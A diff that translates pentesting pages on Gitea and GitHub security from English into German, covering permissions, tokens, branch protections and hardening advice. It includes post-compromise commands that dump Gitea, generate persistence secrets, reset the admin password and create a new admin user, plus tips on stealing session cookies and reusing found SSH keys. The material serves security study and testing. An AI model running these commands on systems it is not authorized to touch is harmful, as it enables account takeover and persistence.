- More **sensitive information** could be found in this folder
|
||||
Wenn Sie sich im Server befinden, können Sie auch **die `gitea`-Binary** verwenden, um Informationen zuzugreifen/zu ändern:
|
||||
|
||||
If you are inside the server you can also **use the `gitea` binary** to access/modify information:
|
||||
|
||||
- `gitea dump` will dump gitea and generate a .zip file
|
||||
- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` will generate a token of the indicated type (persistence)
|
||||
- `gitea admin user change-password --username admin --password newpassword` Change the password
|
||||
- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Create new admin user and get an access token
|
||||
- `gitea dump` wird Gitea dumpen und eine .zip-Datei generieren.
|
||||
- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` generiert ein Token des angegebenen Typs (Persistenz).
|
||||
- `gitea admin user change-password --username admin --password newpassword` Ändert das Passwort.
|
||||
- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Erstellt einen neuen Admin-Benutzer und erhält ein Zugriffstoken.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,107 +1,103 @@
|
||||
# Basic Gitea Information
|
||||
# Grundlegende Gitea-Informationen
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Structure
|
||||
## Grundstruktur
|
||||
|
||||
The basic Gitea environment structure is to group repos by **organization(s),** each of them may contain **several repositories** and **several teams.** However, note that just like in github users can have repos outside of the organization.
|
||||
Die grundlegende Gitea-Umgebungsstruktur besteht darin, Repos nach **Organisation(en)** zu gruppieren, von denen jede **mehrere Repositories** und **mehrere Teams** enthalten kann. Beachten Sie jedoch, dass Benutzer wie bei GitHub Repos außerhalb der Organisation haben können.
|
||||
|
||||
Moreover, a **user** can be a **member** of **different organizations**. Within the organization the user may have **different permissions over each repository**.
|
||||
Darüber hinaus kann ein **Benutzer** ein **Mitglied** von **verschiedenen Organisationen** sein. Innerhalb der Organisation kann der Benutzer **verschiedene Berechtigungen für jedes Repository** haben.
|
||||
|
||||
A user may also be **part of different teams** with different permissions over different repos.
|
||||
Ein Benutzer kann auch **Teil verschiedener Teams** mit unterschiedlichen Berechtigungen für verschiedene Repos sein.
|
||||
|
||||
And finally **repositories may have special protection mechanisms**.
|
||||
Und schließlich **können Repositories spezielle Schutzmechanismen haben**.
|
||||
|
||||
## Permissions
|
||||
## Berechtigungen
|
||||
|
||||
### Organizations
|
||||
### Organisationen
|
||||
|
||||
When an **organization is created** a team called **Owners** is **created** and the user is put inside of it. This team will give **admin access** over the **organization**, those **permissions** and the **name** of the team **cannot be modified**.
|
||||
Wenn eine **Organisation erstellt wird**, wird ein Team namens **Owners** **erstellt** und der Benutzer wird darin platziert. Dieses Team gewährt **Admin-Zugriff** auf die **Organisation**, diese **Berechtigungen** und der **Name** des Teams **können nicht geändert werden**.
|
||||
|
||||
**Org admins** (owners) can select the **visibility** of the organization:
|
||||
**Org-Admins** (Eigentümer) können die **Sichtbarkeit** der Organisation auswählen:
|
||||
|
||||
- Public
|
||||
- Limited (logged in users only)
|
||||
- Private (members only)
|
||||
- Öffentlich
|
||||
- Eingeschränkt (nur angemeldete Benutzer)
|
||||
- Privat (nur Mitglieder)
|
||||
|
||||
**Org admins** can also indicate if the **repo admins** can **add and or remove access** for teams. They can also indicate the max number of repos.
|
||||
**Org-Admins** können auch angeben, ob die **Repo-Admins** **Zugriff für Teams hinzufügen oder entfernen** können. Sie können auch die maximale Anzahl von Repos angeben.
|
||||
|
||||
When creating a new team, several important settings are selected:
|
||||
Beim Erstellen eines neuen Teams werden mehrere wichtige Einstellungen ausgewählt:
|
||||
|
||||
- It's indicated the **repos of the org the members of the team will be able to access**: specific repos (repos where the team is added) or all.
|
||||
- It's also indicated **if members can create new repos** (creator will get admin access to it)
|
||||
- The **permissions** the **members** of the repo will **have**:
|
||||
- **Administrator** access
|
||||
- **Specific** access:
|
||||
- Es wird angegeben, auf welche **Repos der Org die Mitglieder des Teams zugreifen können**: spezifische Repos (Repos, in die das Team hinzugefügt wird) oder alle.
|
||||
- Es wird auch angegeben, **ob Mitglieder neue Repos erstellen können** (der Ersteller erhält Admin-Zugriff darauf).
|
||||
- Die **Berechtigungen**, die die **Mitglieder** des Repos **haben**:
|
||||
- **Administrator**-Zugriff
|
||||
- **Spezifischer** Zugriff:
|
||||
|
||||
.png>)
|
||||
|
||||
### Teams & Users
|
||||
### Teams & Benutzer
|
||||
|
||||
In a repo, the **org admin** and the **repo admins** (if allowed by the org) can **manage the roles** given to collaborators (other users) and teams. There are **3** possible **roles**:
|
||||
In einem Repo können der **Org-Admin** und die **Repo-Admins** (sofern von der Org erlaubt) die **Rollen** verwalten, die den Mitarbeitern (anderen Benutzern) und Teams zugewiesen sind. Es gibt **3** mögliche **Rollen**:
|
||||
|
||||
- Administrator
|
||||
- Write
|
||||
- Read
|
||||
- Schreiben
|
||||
- Lesen
|
||||
|
||||
## Gitea Authentication
|
||||
## Gitea-Authentifizierung
|
||||
|
||||
### Web Access
|
||||
### Webzugang
|
||||
|
||||
Using **username + password** and potentially (and recommended) a 2FA.
|
||||
Verwendung von **Benutzername + Passwort** und möglicherweise (und empfohlen) einer 2FA.
|
||||
|
||||
### **SSH Keys**
|
||||
### **SSH-Schlüssel**
|
||||
|
||||
You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
|
||||
Sie können Ihr Konto mit einem oder mehreren öffentlichen Schlüsseln konfigurieren, die es dem zugehörigen **privaten Schlüssel ermöglichen, in Ihrem Namen Aktionen auszuführen.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
|
||||
|
||||
#### **GPG Keys**
|
||||
#### **GPG-Schlüssel**
|
||||
|
||||
You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**.
|
||||
Sie **können den Benutzer mit diesen Schlüsseln nicht impersonifizieren**, aber wenn Sie ihn nicht verwenden, könnte es möglich sein, dass Sie **entdeckt werden, weil Sie Commits ohne Signatur senden**.
|
||||
|
||||
### **Personal Access Tokens**
|
||||
### **Persönliche Zugriffstoken**
|
||||
|
||||
You can generate personal access token to **give an application access to your account**. A personal access token gives full access over your account: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
|
||||
Sie können persönliche Zugriffstoken generieren, um **einer Anwendung Zugriff auf Ihr Konto zu gewähren**. Ein persönliches Zugriffstoken gewährt vollen Zugriff auf Ihr Konto: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
|
||||
|
||||
### Oauth Applications
|
||||
### Oauth-Anwendungen
|
||||
|
||||
Just like personal access tokens **Oauth applications** will have **complete access** over your account and the places your account has access because, as indicated in the [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), scopes aren't supported yet:
|
||||
Genau wie persönliche Zugriffstoken haben **Oauth-Anwendungen** **vollständigen Zugriff** auf Ihr Konto und die Orte, auf die Ihr Konto Zugriff hat, da, wie in den [Dokumenten](https://docs.gitea.io/en-us/oauth2-provider/#scopes) angegeben, Scopes noch nicht unterstützt werden:
|
||||
|
||||
.png>)
|
||||
|
||||
### Deploy keys
|
||||
### Bereitstellungsschlüssel
|
||||
|
||||
Deploy keys might have read-only or write access to the repo, so they might be interesting to compromise specific repos.
|
||||
Bereitstellungsschlüssel können Lese- oder Schreibzugriff auf das Repo haben, sodass sie interessant sein könnten, um spezifische Repos zu kompromittieren.
|
||||
|
||||
## Branch Protections
|
||||
## Branch-Schutz
|
||||
|
||||
Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
|
||||
Branch-Schutzmaßnahmen sind so konzipiert, dass sie **keine vollständige Kontrolle über ein Repository** an die Benutzer geben. Das Ziel ist es, **mehrere Schutzmethoden zu implementieren, bevor man in der Lage ist, Code in einen bestimmten Branch zu schreiben**.
|
||||
|
||||
The **branch protections of a repository** can be found in _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_
|
||||
Die **Branch-Schutzmaßnahmen eines Repositories** finden Sie unter _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_
|
||||
|
||||
> [!NOTE]
|
||||
> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
|
||||
> Es ist **nicht möglich, einen Branch-Schutz auf Organisationsebene festzulegen**. Daher müssen alle in jedem Repo deklariert werden.
|
||||
|
||||
Different protections can be applied to a branch (like to master):
|
||||
Verschiedene Schutzmaßnahmen können auf einen Branch angewendet werden (wie auf master):
|
||||
|
||||
- **Disable Push**: No-one can push to this branch
|
||||
- **Enable Push**: Anyone with access can push, but not force push.
|
||||
- **Whitelist Restricted Push**: Only selected users/teams can push to this branch (but no force push)
|
||||
- **Enable Merge Whitelist**: Only whitelisted users/teams can merge PRs.
|
||||
- **Enable Status checks:** Require status checks to pass before merging.
|
||||
- **Require approvals**: Indicate the number of approvals required before a PR can be merged.
|
||||
- **Restrict approvals to whitelisted**: Indicate users/teams that can approve PRs.
|
||||
- **Block merge on rejected reviews**: If changes are requested, it cannot be merged (even if the other checks pass)
|
||||
- **Block merge on official review requests**: If there official review requests it cannot be merged
|
||||
- **Dismiss stale approvals**: When new commits, old approvals will be dismissed.
|
||||
- **Require Signed Commits**: Commits must be signed.
|
||||
- **Block merge if pull request is outdated**
|
||||
- **Protected/Unprotected file patterns**: Indicate patterns of files to protect/unprotect against changes
|
||||
- **Push deaktivieren**: Niemand kann in diesen Branch pushen.
|
||||
- **Push aktivieren**: Jeder mit Zugriff kann pushen, aber nicht force pushen.
|
||||
- **Whitelist eingeschränkter Push**: Nur ausgewählte Benutzer/Teams können in diesen Branch pushen (aber kein Force Push).
|
||||
- **Whitelist für Merge aktivieren**: Nur auf die Whitelist gesetzte Benutzer/Teams können PRs mergen.
|
||||
- **Statusprüfungen aktivieren:** Statusprüfungen müssen bestehen, bevor gemerged wird.
|
||||
- **Genehmigungen erforderlich**: Geben Sie die Anzahl der erforderlichen Genehmigungen an, bevor ein PR gemerged werden kann.
|
||||
- **Genehmigungen auf Whitelist beschränken**: Geben Sie Benutzer/Teams an, die PRs genehmigen können.
|
||||
- **Merge bei abgelehnten Überprüfungen blockieren**: Wenn Änderungen angefordert werden, kann es nicht gemerged werden (auch wenn die anderen Prüfungen bestehen).
|
||||
- **Merge bei offiziellen Überprüfungsanfragen blockieren**: Wenn es offizielle Überprüfungsanfragen gibt, kann es nicht gemerged werden.
|
||||
- **Veraltete Genehmigungen zurückweisen**: Bei neuen Commits werden alte Genehmigungen zurückgewiesen.
|
||||
- **Signierte Commits erforderlich**: Commits müssen signiert sein.
|
||||
- **Merge blockieren, wenn der Pull-Request veraltet ist.**
|
||||
- **Geschützte/ungeschützte Dateimuster**: Geben Sie Muster von Dateien an, die gegen Änderungen geschützt/ungeschützt werden sollen.
|
||||
|
||||
> [!NOTE]
|
||||
> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
|
||||
> Wie Sie sehen können, selbst wenn Sie es geschafft haben, einige Anmeldeinformationen eines Benutzers zu erhalten, **könnten Repos geschützt sein, sodass Sie beispielsweise keinen Code in master pushen können, um die CI/CD-Pipeline zu kompromittieren.**
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,42 +1,42 @@
|
||||
# Github Security
|
||||
# Github-Sicherheit
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## What is Github
|
||||
## Was ist Github
|
||||
|
||||
(From [here](https://kinsta.com/knowledgebase/what-is-github/)) At a high level, **GitHub is a website and cloud-based service that helps developers store and manage their code, as well as track and control changes to their code**.
|
||||
(From [here](https://kinsta.com/knowledgebase/what-is-github/)) Auf hoher Ebene ist **GitHub eine Website und ein cloudbasierter Dienst, der Entwicklern hilft, ihren Code zu speichern und zu verwalten sowie Änderungen an ihrem Code zu verfolgen und zu kontrollieren**.
|
||||
|
||||
### Basic Information
|
||||
### Grundlegende Informationen
|
||||
|
||||
{{#ref}}
|
||||
basic-github-information.md
|
||||
{{#endref}}
|
||||
|
||||
## External Recon
|
||||
## Externe Rekognoszierung
|
||||
|
||||
Github repositories can be configured as public, private and internal.
|
||||
Github-Repositories können als öffentlich, privat und intern konfiguriert werden.
|
||||
|
||||
- **Private** means that **only** people of the **organisation** will be able to access them
|
||||
- **Internal** means that **only** people of the **enterprise** (an enterprise may have several organisations) will be able to access it
|
||||
- **Public** means that **all internet** is going to be able to access it.
|
||||
- **Privat** bedeutet, dass **nur** Personen der **Organisation** darauf zugreifen können.
|
||||
- **Intern** bedeutet, dass **nur** Personen des **Unternehmens** (ein Unternehmen kann mehrere Organisationen haben) darauf zugreifen können.
|
||||
- **Öffentlich** bedeutet, dass **alle im Internet** darauf zugreifen können.
|
||||
|
||||
In case you know the **user, repo or organisation you want to target** you can use **github dorks** to find sensitive information or search for **sensitive information leaks** **on each repo**.
|
||||
Falls Sie den **Benutzer, das Repo oder die Organisation, die Sie anvisieren möchten**, kennen, können Sie **github dorks** verwenden, um sensible Informationen zu finden oder nach **sensiblen Informationslecks** **in jedem Repo** zu suchen.
|
||||
|
||||
### Github Dorks
|
||||
|
||||
Github allows to **search for something specifying as scope a user, a repo or an organisation**. Therefore, with a list of strings that are going to appear close to sensitive information you can easily **search for potential sensitive information in your target**.
|
||||
Github ermöglicht es, **nach etwas zu suchen, indem man als Umfang einen Benutzer, ein Repo oder eine Organisation angibt**. Daher können Sie mit einer Liste von Zeichenfolgen, die in der Nähe sensibler Informationen erscheinen, leicht **nach potenziell sensiblen Informationen in Ihrem Ziel suchen**.
|
||||
|
||||
Tools (each tool contains its list of dorks):
|
||||
Tools (jedes Tool enthält seine Liste von Dorks):
|
||||
|
||||
- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks))
|
||||
- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
|
||||
- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks list](https://github.com/hisxo/gitGraber/tree/master/wordlists))
|
||||
- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks-Liste](https://github.com/obheda12/GitDorker/tree/master/Dorks))
|
||||
- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks-Liste](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
|
||||
- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks-Liste](https://github.com/hisxo/gitGraber/tree/master/wordlists))
|
||||
|
||||
### Github Leaks
|
||||
### Github-Leaks
|
||||
|
||||
Please, note that the github dorks are also meant to search for leaks using github search options. This section is dedicated to those tools that will **download each repo and search for sensitive information in them** (even checking certain depth of commits).
|
||||
Bitte beachten Sie, dass die Github-Dorks auch dazu gedacht sind, nach Leaks zu suchen, indem die Suchoptionen von Github verwendet werden. Dieser Abschnitt ist den Tools gewidmet, die **jedes Repo herunterladen und nach sensiblen Informationen darin suchen** (sogar bestimmte Tiefen von Commits überprüfen).
|
||||
|
||||
Tools (each tool contains its list of regexes):
|
||||
Tools (jedes Tool enthält seine Liste von Regex):
|
||||
|
||||
- [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks)
|
||||
- [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog)
|
||||
@@ -47,202 +47,190 @@ Tools (each tool contains its list of regexes):
|
||||
- [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets)
|
||||
|
||||
> [!WARNING]
|
||||
> When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets!
|
||||
> Wenn Sie nach Leaks in einem Repo suchen und etwas wie `git log -p` ausführen, vergessen Sie nicht, dass es **andere Branches mit anderen Commits** geben könnte, die Geheimnisse enthalten!
|
||||
|
||||
### External Forks
|
||||
### Externe Forks
|
||||
|
||||
It's possible to **compromise repos abusing pull requests**. To know if a repo is vulnerable you mostly need to read the Github Actions yaml configs. [**More info about this below**](./#execution-from-a-external-fork).
|
||||
Es ist möglich, **Repos zu kompromittieren, indem man Pull-Requests missbraucht**. Um zu wissen, ob ein Repo anfällig ist, müssen Sie hauptsächlich die Github Actions YAML-Konfigurationen lesen. [**Weitere Informationen dazu finden Sie unten**](./#execution-from-a-external-fork).
|
||||
|
||||
### Github Leaks in deleted/internal forks
|
||||
### Github-Leaks in gelöschten/internen Forks
|
||||
|
||||
Even if deleted or internal it might be possible to obtain sensitive data from forks of github repositories. Check it here:
|
||||
Selbst wenn sie gelöscht oder intern sind, könnte es möglich sein, sensible Daten aus Forks von Github-Repositories zu erhalten. Überprüfen Sie es hier:
|
||||
|
||||
{{#ref}}
|
||||
accessible-deleted-data-in-github.md
|
||||
{{#endref}}
|
||||
|
||||
## Organization Hardening
|
||||
## Organisation-Härtung
|
||||
|
||||
### Member Privileges
|
||||
### Mitgliederprivilegien
|
||||
|
||||
There are some **default privileges** that can be assigned to **members** of the organization. These can be controlled from the page `https://github.com/organizations/<org_name>/settings/member_privileges` or from the [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs).
|
||||
Es gibt einige **Standardprivilegien**, die Mitgliedern der Organisation zugewiesen werden können. Diese können von der Seite `https://github.com/organizations/<org_name>/settings/member_privileges` oder von der [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs) gesteuert werden.
|
||||
|
||||
- **Base permissions**: Members will have the permission None/Read/write/Admin over the org repositories. Recommended is **None** or **Read**.
|
||||
- **Repository forking**: If not necessary, it's better to **not allow** members to fork organization repositories.
|
||||
- **Pages creation**: If not necessary, it's better to **not allow** members to publish pages from the org repos. If necessary you can allow to create public or private pages.
|
||||
- **Integration access requests**: With this enabled outside collaborators will be able to request access for GitHub or OAuth apps to access this organization and its resources. It's usually needed, but if not, it's better to disable it.
|
||||
- _I couldn't find this info in the APIs response, share if you do_
|
||||
- **Repository visibility change**: If enabled, **members** with **admin** permissions for the **repository** will be able to **change its visibility**. If disabled, only organization owners can change repository visibilities. If you **don't** want people to make things **public**, make sure this is **disabled**.
|
||||
- _I couldn't find this info in the APIs response, share if you do_
|
||||
- **Repository deletion and transfer**: If enabled, members with **admin** permissions for the repository will be able to **delete** or **transfer** public and private **repositories.**
|
||||
- _I couldn't find this info in the APIs response, share if you do_
|
||||
- **Allow members to create teams**: If enabled, any **member** of the organization will be able to **create** new **teams**. If disabled, only organization owners can create new teams. It's better to have this disabled.
|
||||
- _I couldn't find this info in the APIs response, share if you do_
|
||||
- **More things can be configured** in this page but the previous are the ones more security related.
|
||||
- **Basisberechtigungen**: Mitglieder haben die Berechtigung None/Read/write/Admin über die Repos der Organisation. Empfohlen ist **None** oder **Read**.
|
||||
- **Repository-Forking**: Wenn nicht notwendig, ist es besser, **Mitglieder nicht zu erlauben**, Organisation-Repositories zu forken.
|
||||
- **Seiten erstellen**: Wenn nicht notwendig, ist es besser, **Mitglieder nicht zu erlauben**, Seiten aus den Org-Repos zu veröffentlichen. Wenn nötig, können Sie das Erstellen öffentlicher oder privater Seiten erlauben.
|
||||
- **Zugriffsanforderungen für Integrationen**: Mit dieser Aktivierung können externe Mitarbeiter den Zugriff auf GitHub oder OAuth-Apps anfordern, um auf diese Organisation und ihre Ressourcen zuzugreifen. Es ist normalerweise erforderlich, aber wenn nicht, ist es besser, es zu deaktivieren.
|
||||
- _Ich konnte diese Informationen nicht in der API-Antwort finden, teilen Sie mit, wenn Sie es tun_
|
||||
- **Änderung der Repository-Sichtbarkeit**: Wenn aktiviert, können **Mitglieder** mit **Admin**-Berechtigungen für das **Repository** die **Sichtbarkeit ändern**. Wenn deaktiviert, können nur Organisationsinhaber die Sichtbarkeit von Repositories ändern. Wenn Sie **nicht** möchten, dass Personen Dinge **öffentlich** machen, stellen Sie sicher, dass dies **deaktiviert** ist.
|
||||
- _Ich konnte diese Informationen nicht in der API-Antwort finden, teilen Sie mit, wenn Sie es tun_
|
||||
- **Löschen und Übertragen von Repositories**: Wenn aktiviert, können Mitglieder mit **Admin**-Berechtigungen für das Repository **öffentliche und private Repositories löschen oder übertragen**.
|
||||
- _Ich konnte diese Informationen nicht in der API-Antwort finden, teilen Sie mit, wenn Sie es tun_
|
||||
- **Mitglieder erlauben, Teams zu erstellen**: Wenn aktiviert, kann jedes **Mitglied** der Organisation **neue Teams erstellen**. Wenn deaktiviert, können nur Organisationsinhaber neue Teams erstellen. Es ist besser, dies deaktiviert zu haben.
|
||||
- _Ich konnte diese Informationen nicht in der API-Antwort finden, teilen Sie mit, wenn Sie es tun_
|
||||
- **Weitere Dinge können** auf dieser Seite konfiguriert werden, aber die vorherigen sind die, die mehr mit Sicherheit zu tun haben.
|
||||
|
||||
### Actions Settings
|
||||
### Aktionen-Einstellungen
|
||||
|
||||
Several security related settings can be configured for actions from the page `https://github.com/organizations/<org_name>/settings/actions`.
|
||||
Mehrere sicherheitsrelevante Einstellungen können für Aktionen von der Seite `https://github.com/organizations/<org_name>/settings/actions` konfiguriert werden.
|
||||
|
||||
> [!NOTE]
|
||||
> Note that all this configurations can also be set on each repository independently
|
||||
> Beachten Sie, dass all diese Konfigurationen auch für jedes Repository unabhängig festgelegt werden können.
|
||||
|
||||
- **Github actions policies**: It allows you to indicate which repositories can tun workflows and which workflows should be allowed. It's recommended to **specify which repositories** should be allowed and not allow all actions to run.
|
||||
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
|
||||
- **Fork pull request workflows from outside collaborators**: It's recommended to **require approval for all** outside collaborators.
|
||||
- _I couldn't find an API with this info, share if you do_
|
||||
- **Run workflows from fork pull requests**: It's highly **discouraged to run workflows from pull requests** as maintainers of the fork origin will be given the ability to use tokens with read permissions on the source repository.
|
||||
- _I couldn't find an API with this info, share if you do_
|
||||
- **Workflow permissions**: It's highly recommended to **only give read repository permissions**. It's discouraged to give write and create/approve pull requests permissions to avoid the abuse of the GITHUB_TOKEN given to running workflows.
|
||||
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
|
||||
- **Github-Aktionen-Richtlinien**: Es ermöglicht Ihnen anzugeben, welche Repositories Workflows ausführen können und welche Workflows erlaubt sein sollten. Es wird empfohlen, **anzugeben, welche Repositories** erlaubt sein sollten und nicht alle Aktionen ausführen zu lassen.
|
||||
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
|
||||
- **Fork-Pull-Request-Workflows von externen Mitarbeitern**: Es wird empfohlen, **eine Genehmigung für alle** externen Mitarbeiter zu verlangen.
|
||||
- _Ich konnte keine API mit diesen Informationen finden, teilen Sie mit, wenn Sie es tun_
|
||||
- **Workflows von Fork-Pull-Requests ausführen**: Es wird dringend **abgeraten, Workflows von Pull-Requests auszuführen**, da die Maintainer des Fork-Ursprungs die Möglichkeit erhalten, Tokens mit Lesezugriff auf das Quell-Repository zu verwenden.
|
||||
- _Ich konnte keine API mit diesen Informationen finden, teilen Sie mit, wenn Sie es tun_
|
||||
- **Workflow-Berechtigungen**: Es wird dringend empfohlen, **nur Lesezugriffsberechtigungen für Repositories zu gewähren**. Es wird abgeraten, Schreib- und Erstellungs-/Genehmigungsberechtigungen für Pull-Requests zu gewähren, um den Missbrauch des GITHUB_TOKEN zu vermeiden, das für die Ausführung von Workflows vergeben wird.
|
||||
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
|
||||
|
||||
### Integrations
|
||||
### Integrationen
|
||||
|
||||
_Let me know if you know the API endpoint to access this info!_
|
||||
_Lassen Sie es mich wissen, wenn Sie den API-Endpunkt kennen, um auf diese Informationen zuzugreifen!_
|
||||
|
||||
- **Third-party application access policy**: It's recommended to restrict the access to every application and allow only the needed ones (after reviewing them).
|
||||
- **Installed GitHub Apps**: It's recommended to only allow the needed ones (after reviewing them).
|
||||
- **Zugriffsrichtlinie für Drittanbieteranwendungen**: Es wird empfohlen, den Zugriff auf jede Anwendung einzuschränken und nur die benötigten zuzulassen (nach Überprüfung).
|
||||
- **Installierte GitHub-Apps**: Es wird empfohlen, nur die benötigten zuzulassen (nach Überprüfung).
|
||||
|
||||
## Recon & Attacks abusing credentials
|
||||
## Rekognoszierung & Angriffe unter Ausnutzung von Anmeldeinformationen
|
||||
|
||||
For this scenario we are going to suppose that you have obtained some access to a github account.
|
||||
Für dieses Szenario nehmen wir an, dass Sie Zugang zu einem Github-Konto erhalten haben.
|
||||
|
||||
### With User Credentials
|
||||
### Mit Benutzeranmeldeinformationen
|
||||
|
||||
If you somehow already have credentials for a user inside an organization you can **just login** and check which **enterprise and organization roles you have**, if you are a raw member, check which **permissions raw members have**, in which **groups** you are, which **permissions you have** over which **repos,** and **how are the repos protected.**
|
||||
Wenn Sie irgendwie bereits Anmeldeinformationen für einen Benutzer innerhalb einer Organisation haben, können Sie **einfach einloggen** und überprüfen, welche **Enterprise- und Organisationsrollen Sie haben**, ob Sie ein einfaches Mitglied sind, überprüfen, welche **Berechtigungen einfache Mitglieder haben**, in welchen **Gruppen** Sie sind, welche **Berechtigungen Sie haben** über welche **Repos** und **wie die Repos geschützt sind**.
|
||||
|
||||
Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
|
||||
Beachten Sie, dass **2FA verwendet werden kann**, sodass Sie diese Informationen nur abrufen können, wenn Sie auch **diesen Check bestehen**.
|
||||
|
||||
> [!NOTE]
|
||||
> Note that if you **manage to steal the `user_session` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
|
||||
> Beachten Sie, dass Sie, wenn Sie **es schaffen, das `user_session`-Cookie zu stehlen** (derzeit mit SameSite: Lax konfiguriert), **den Benutzer vollständig impersonieren** können, ohne Anmeldeinformationen oder 2FA zu benötigen.
|
||||
|
||||
Check the section below about [**branch protections bypasses**](./#branch-protection-bypass) in case it's useful.
|
||||
Überprüfen Sie den Abschnitt unten über [**Umgehungen des Branchenschutzes**](./#branch-protection-bypass), falls es nützlich ist.
|
||||
|
||||
### With User SSH Key
|
||||
### Mit Benutzer-SSH-Schlüssel
|
||||
|
||||
Github allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
|
||||
|
||||
With this key you can perform **changes in repositories where the user has some privileges**, however you can not sue it to access github api to enumerate the environment. However, you can get **enumerate local settings** to get information about the repos and user you have access to:
|
||||
Github erlaubt es **Benutzern**, **SSH-Schlüssel** festzulegen, die als **Authentifizierungsmethode zum Bereitstellen von Code** in ihrem Namen verwendet werden (es wird keine 2FA angewendet).
|
||||
|
||||
Mit diesem Schlüssel können Sie **Änderungen in Repositories vornehmen, in denen der Benutzer einige Berechtigungen hat**, jedoch können Sie ihn nicht verwenden, um auf die Github-API zuzugreifen, um die Umgebung aufzulisten. Sie können jedoch **lokale Einstellungen auflisten**, um Informationen über die Repos und den Benutzer zu erhalten, auf die Sie Zugriff haben:
|
||||
```bash
|
||||
# Go to the the repository folder
|
||||
# Get repo config and current user name and email
|
||||
git config --list
|
||||
```
|
||||
Wenn der Benutzer seinen Benutzernamen als seinen GitHub-Benutzernamen konfiguriert hat, können Sie auf die **öffentlichen Schlüssel, die er in seinem Konto festgelegt hat**, unter _https://github.com/\<github_username>.keys_ zugreifen. Sie könnten dies überprüfen, um zu bestätigen, dass der private Schlüssel, den Sie gefunden haben, verwendet werden kann.
|
||||
|
||||
If the user has configured its username as his github username you can access the **public keys he has set** in his account in _https://github.com/\<github_username>.keys_, you could check this to confirm the private key you found can be used.
|
||||
**SSH-Schlüssel** können auch in Repositories als **Deploy-Schlüssel** festgelegt werden. Jeder, der Zugriff auf diesen Schlüssel hat, kann **Projekte aus einem Repository starten**. In einem Server mit verschiedenen Deploy-Schlüsseln gibt die lokale Datei **`~/.ssh/config`** Informationen darüber, welcher Schlüssel zugeordnet ist.
|
||||
|
||||
**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
|
||||
#### GPG-Schlüssel
|
||||
|
||||
#### GPG Keys
|
||||
|
||||
As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
|
||||
|
||||
Check locally if the current user has any key with:
|
||||
Wie [**hier**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) erklärt, ist es manchmal notwendig, die Commits zu signieren, oder Sie könnten entdeckt werden.
|
||||
|
||||
Überprüfen Sie lokal, ob der aktuelle Benutzer einen Schlüssel hat mit:
|
||||
```shell
|
||||
gpg --list-secret-keys --keyid-format=long
|
||||
```
|
||||
### Mit Benutzer-Token
|
||||
|
||||
### With User Token
|
||||
Für eine Einführung über [**Benutzer-Token siehe die grundlegenden Informationen**](basic-github-information.md#personal-access-tokens).
|
||||
|
||||
For an introduction about [**User Tokens check the basic information**](basic-github-information.md#personal-access-tokens).
|
||||
